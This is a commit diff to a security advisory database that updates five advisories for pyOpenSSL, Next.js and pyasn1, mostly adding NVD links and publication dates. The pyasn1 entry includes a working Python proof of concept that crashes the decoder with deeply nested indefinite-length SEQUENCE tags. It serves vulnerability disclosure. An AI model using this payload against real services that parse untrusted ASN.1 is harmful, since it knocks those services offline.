Skip to content

Commit e75188e

Browse files
1 parent 4a93d9b commit e75188e

5 files changed

Lines changed: 35 additions & 11 deletions

File tree

advisories/github-reviewed/2026/03/GHSA-5pwr-322w-8jr4/GHSA-5pwr-322w-8jr4.json

Lines changed: 6 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -1,7 +1,7 @@
11
{
22
"schema_version": "1.4.0",
33
"id": "GHSA-5pwr-322w-8jr4",
4-
"modified": "2026-03-16T16:22:29Z",
4+
"modified": "2026-03-19T18:28:11Z",
55
"published": "2026-03-16T16:22:29Z",
66
"aliases": [
77
"CVE-2026-27459"
@@ -40,6 +40,10 @@
4040
"type": "WEB",
4141
"url": "https://github.com/pyca/pyopenssl/security/advisories/GHSA-5pwr-322w-8jr4"
4242
},
43+
{
44+
"type": "ADVISORY",
45+
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-27459"
46+
},
4347
{
4448
"type": "WEB",
4549
"url": "https://github.com/pyca/pyopenssl/commit/57f09bb4bb051d3bc2a1abd36e9525313d5cd408"
@@ -60,6 +64,6 @@
6064
"severity": "HIGH",
6165
"github_reviewed": true,
6266
"github_reviewed_at": "2026-03-16T16:22:29Z",
63-
"nvd_published_at": null
67+
"nvd_published_at": "2026-03-18T00:16:19Z"
6468
}
6569
}

advisories/github-reviewed/2026/03/GHSA-jcc7-9wpm-mj36/GHSA-jcc7-9wpm-mj36.json

Lines changed: 6 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -1,7 +1,7 @@
11
{
22
"schema_version": "1.4.0",
33
"id": "GHSA-jcc7-9wpm-mj36",
4-
"modified": "2026-03-17T15:29:48Z",
4+
"modified": "2026-03-19T18:28:33Z",
55
"published": "2026-03-17T15:29:48Z",
66
"aliases": [
77
"CVE-2026-27977"
@@ -40,6 +40,10 @@
4040
"type": "WEB",
4141
"url": "https://github.com/vercel/next.js/security/advisories/GHSA-jcc7-9wpm-mj36"
4242
},
43+
{
44+
"type": "ADVISORY",
45+
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-27977"
46+
},
4347
{
4448
"type": "WEB",
4549
"url": "https://github.com/vercel/next.js/commit/862f9b9bb41d235e0d8cf44aa811e7fd118cee2a"
@@ -60,6 +64,6 @@
6064
"severity": "LOW",
6165
"github_reviewed": true,
6266
"github_reviewed_at": "2026-03-17T15:29:48Z",
63-
"nvd_published_at": null
67+
"nvd_published_at": "2026-03-18T00:16:19Z"
6468
}
6569
}

advisories/github-reviewed/2026/03/GHSA-jr27-m4p2-rc6r/GHSA-jr27-m4p2-rc6r.json

Lines changed: 11 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -1,13 +1,13 @@
11
{
22
"schema_version": "1.4.0",
33
"id": "GHSA-jr27-m4p2-rc6r",
4-
"modified": "2026-03-17T16:17:33Z",
4+
"modified": "2026-03-19T18:27:50Z",
55
"published": "2026-03-17T16:17:33Z",
66
"aliases": [
77
"CVE-2026-30922"
88
],
99
"summary": "Denial of Service in pyasn1 via Unbounded Recursion",
10-
"details": "### Summary\nThe `pyasn1` library is vulnerable to a Denial of Service (DoS) attack caused by uncontrolled recursion when decoding ASN.1 data with deeply nested structures. An attacker can supply a crafted payload containing nested `SEQUENCE` (`0x30`) or `SET` (`0x31`) tags with Indefinite Length (`0x80`) markers. This forces the decoder to recursively call itself until the Python interpreter crashes with a `RecursionError` or consumes all available memory (OOM), crashing the host application.\n\nThis is a distinct vulnerability from CVE-2026-23490 (which addressed integer overflows in OID decoding). The fix for CVE-2026-23490 (`MAX_OID_ARC_CONTINUATION_OCTETS`) does not mitigate this recursion issue.\n\n### Details\nThe vulnerability exists because the decoder iterates through the input stream and recursively calls `decodeFun` (the decoding callback) for every nested component found, without tracking or limiting the recursion depth.\nVulnerable Code Locations:\n1. `indefLenValueDecoder` (Line 998):\n```for component in decodeFun(substrate, asn1Spec, allowEoo=True, **options):```\nThis method handles indefinite-length constructed types. It sits inside a `while True` loop and recursively calls the decoder for every nested tag.\n\n2. `valueDecoder` (Lines 786 and 907):\n```for component in decodeFun(substrate, componentType, **options):```\nThis method handles standard decoding when a schema is present. It contains two distinct recursive calls that lack depth checks: Line 786: Recursively decodes components of `SEQUENCE` or `SET` types. Line 907: Recursively decodes elements of `SEQUENCE OF` or `SET OF` types.\n\n4. `_decodeComponentsSchemaless` (Line 661):\n```for component in decodeFun(substrate, **options):```\nThis method handles decoding when no schema is provided.\n\nIn all three cases, `decodeFun` is invoked without passing a `depth` parameter or checking against a global `MAX_ASN1_NESTING` limit.\n\n### PoC\n```\nimport sys\nfrom pyasn1.codec.ber import decoder\n\nsys.setrecursionlimit(100000)\n\nprint(\"[*] Generating Recursion Bomb Payload...\")\ndepth = 50_000\nchunk = b'\\x30\\x80' \npayload = chunk * depth\n\nprint(f\"[*] Payload size: {len(payload) / 1024:.2f} KB\")\nprint(\"[*] Triggering Decoder...\")\n\ntry:\n decoder.decode(payload)\nexcept RecursionError:\n print(\"[!] Crashed: Recursion Limit Hit\")\nexcept MemoryError:\n print(\"[!] Crashed: Out of Memory\")\nexcept Exception as e:\n print(f\"[!] Crashed: {e}\")\n```\n\n```\n[*] Payload size: 9.77 KB\n[*] Triggering Decoder...\n[!] Crashed: Recursion Limit Hit\n```\n\n### Impact\n- This is an unhandled runtime exception that typically terminates the worker process or thread handling the request. This allows a remote attacker to trivially kill service workers with a small payload (<100KB), resulting in a Denial of Service. Furthermore, in environments where recursion limits are increased, this leads to server-wide memory exhaustion.\n- Service Crash: Any service using `pyasn1` to parse untrusted ASN.1 data (e.g., LDAP, SNMP, Kerberos, X.509 parsers) can be crashed remotely.\n- Resource Exhaustion: The attack consumes RAM linearly with the nesting depth. A small payload (<200KB) can consume hundreds of megabytes of RAM or exhaust the stack.\n\n### Credits\nVulnerability discovered by Kevin Tu of TMIR at ByteDance.",
10+
"details": "### Summary\nThe `pyasn1` library is vulnerable to a Denial of Service (DoS) attack caused by uncontrolled recursion when decoding ASN.1 data with deeply nested structures. An attacker can supply a crafted payload containing nested `SEQUENCE` (`0x30`) or `SET` (`0x31`) tags with Indefinite Length (`0x80`) markers. This forces the decoder to recursively call itself until the Python interpreter crashes with a `RecursionError` or consumes all available memory (OOM), crashing the host application.\n\n### Details\nThe vulnerability exists because the decoder iterates through the input stream and recursively calls `decodeFun` (the decoding callback) for every nested component found, without tracking or limiting the recursion depth.\nVulnerable Code Locations:\n1. `indefLenValueDecoder` (Line 998):\n```for component in decodeFun(substrate, asn1Spec, allowEoo=True, **options):```\nThis method handles indefinite-length constructed types. It sits inside a `while True` loop and recursively calls the decoder for every nested tag.\n\n2. `valueDecoder` (Lines 786 and 907):\n```for component in decodeFun(substrate, componentType, **options):```\nThis method handles standard decoding when a schema is present. It contains two distinct recursive calls that lack depth checks: Line 786: Recursively decodes components of `SEQUENCE` or `SET` types. Line 907: Recursively decodes elements of `SEQUENCE OF` or `SET OF` types.\n\n4. `_decodeComponentsSchemaless` (Line 661):\n```for component in decodeFun(substrate, **options):```\nThis method handles decoding when no schema is provided.\n\nIn all three cases, `decodeFun` is invoked without passing a `depth` parameter or checking against a global `MAX_ASN1_NESTING` limit.\n\n### PoC\n```\nimport sys\nfrom pyasn1.codec.ber import decoder\n\nsys.setrecursionlimit(100000)\n\nprint(\"[*] Generating Recursion Bomb Payload...\")\ndepth = 50_000\nchunk = b'\\x30\\x80' \npayload = chunk * depth\n\nprint(f\"[*] Payload size: {len(payload) / 1024:.2f} KB\")\nprint(\"[*] Triggering Decoder...\")\n\ntry:\n decoder.decode(payload)\nexcept RecursionError:\n print(\"[!] Crashed: Recursion Limit Hit\")\nexcept MemoryError:\n print(\"[!] Crashed: Out of Memory\")\nexcept Exception as e:\n print(f\"[!] Crashed: {e}\")\n```\n\n```\n[*] Payload size: 9.77 KB\n[*] Triggering Decoder...\n[!] Crashed: Recursion Limit Hit\n```\n\n### Impact\n- This is an unhandled runtime exception that typically terminates the worker process or thread handling the request. This allows a remote attacker to trivially kill service workers with a small payload (<100KB), resulting in a Denial of Service. Furthermore, in environments where recursion limits are increased, this leads to server-wide memory exhaustion.\n- Service Crash: Any service using `pyasn1` to parse untrusted ASN.1 data (e.g., LDAP, SNMP, Kerberos, X.509 parsers) can be crashed remotely.\n- Resource Exhaustion: The attack consumes RAM linearly with the nesting depth. A small payload (<200KB) can consume hundreds of megabytes of RAM or exhaust the stack.\n\n### Credits\nVulnerability discovered by Kevin Tu of TMIR at ByteDance.",
1111
"severity": [
1212
{
1313
"type": "CVSS_V3",
@@ -43,6 +43,14 @@
4343
"type": "WEB",
4444
"url": "https://github.com/pyasn1/pyasn1/security/advisories/GHSA-jr27-m4p2-rc6r"
4545
},
46+
{
47+
"type": "ADVISORY",
48+
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-30922"
49+
},
50+
{
51+
"type": "WEB",
52+
"url": "https://github.com/pyasn1/pyasn1/commit/25ad481c19fdb006e20485ef3fc2e5b3eff30ef0"
53+
},
4654
{
4755
"type": "WEB",
4856
"url": "https://github.com/pyasn1/pyasn1/commit/5a49bd1fe93b5b866a1210f6bf0a3924f21572c8"
@@ -63,6 +71,6 @@
6371
"severity": "HIGH",
6472
"github_reviewed": true,
6573
"github_reviewed_at": "2026-03-17T16:17:33Z",
66-
"nvd_published_at": null
74+
"nvd_published_at": "2026-03-18T04:17:18Z"
6775
}
6876
}

advisories/github-reviewed/2026/03/GHSA-mq59-m269-xvcx/GHSA-mq59-m269-xvcx.json

Lines changed: 6 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -1,7 +1,7 @@
11
{
22
"schema_version": "1.4.0",
33
"id": "GHSA-mq59-m269-xvcx",
4-
"modified": "2026-03-17T15:30:14Z",
4+
"modified": "2026-03-19T18:28:49Z",
55
"published": "2026-03-17T15:30:14Z",
66
"aliases": [
77
"CVE-2026-27978"
@@ -40,6 +40,10 @@
4040
"type": "WEB",
4141
"url": "https://github.com/vercel/next.js/security/advisories/GHSA-mq59-m269-xvcx"
4242
},
43+
{
44+
"type": "ADVISORY",
45+
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-27978"
46+
},
4347
{
4448
"type": "WEB",
4549
"url": "https://github.com/vercel/next.js/commit/a27a11d78e748a8c7ccfd14b7759ad2b9bf097d8"
@@ -60,6 +64,6 @@
6064
"severity": "MODERATE",
6165
"github_reviewed": true,
6266
"github_reviewed_at": "2026-03-17T15:30:14Z",
63-
"nvd_published_at": null
67+
"nvd_published_at": "2026-03-18T00:16:20Z"
6468
}
6569
}

advisories/github-reviewed/2026/03/GHSA-vp96-hxj8-p424/GHSA-vp96-hxj8-p424.json

Lines changed: 6 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -1,7 +1,7 @@
11
{
22
"schema_version": "1.4.0",
33
"id": "GHSA-vp96-hxj8-p424",
4-
"modified": "2026-03-16T15:15:43Z",
4+
"modified": "2026-03-19T18:28:02Z",
55
"published": "2026-03-16T15:15:43Z",
66
"aliases": [
77
"CVE-2026-27448"
@@ -40,6 +40,10 @@
4040
"type": "WEB",
4141
"url": "https://github.com/pyca/pyopenssl/security/advisories/GHSA-vp96-hxj8-p424"
4242
},
43+
{
44+
"type": "ADVISORY",
45+
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-27448"
46+
},
4347
{
4448
"type": "WEB",
4549
"url": "https://github.com/pyca/pyopenssl/commit/d41a814759a9fb49584ca8ab3f7295de49a85aa0"
@@ -60,6 +64,6 @@
6064
"severity": "LOW",
6165
"github_reviewed": true,
6266
"github_reviewed_at": "2026-03-16T15:15:43Z",
63-
"nvd_published_at": null
67+
"nvd_published_at": "2026-03-18T00:16:19Z"
6468
}
6569
}

0 commit comments

Comments
 (0)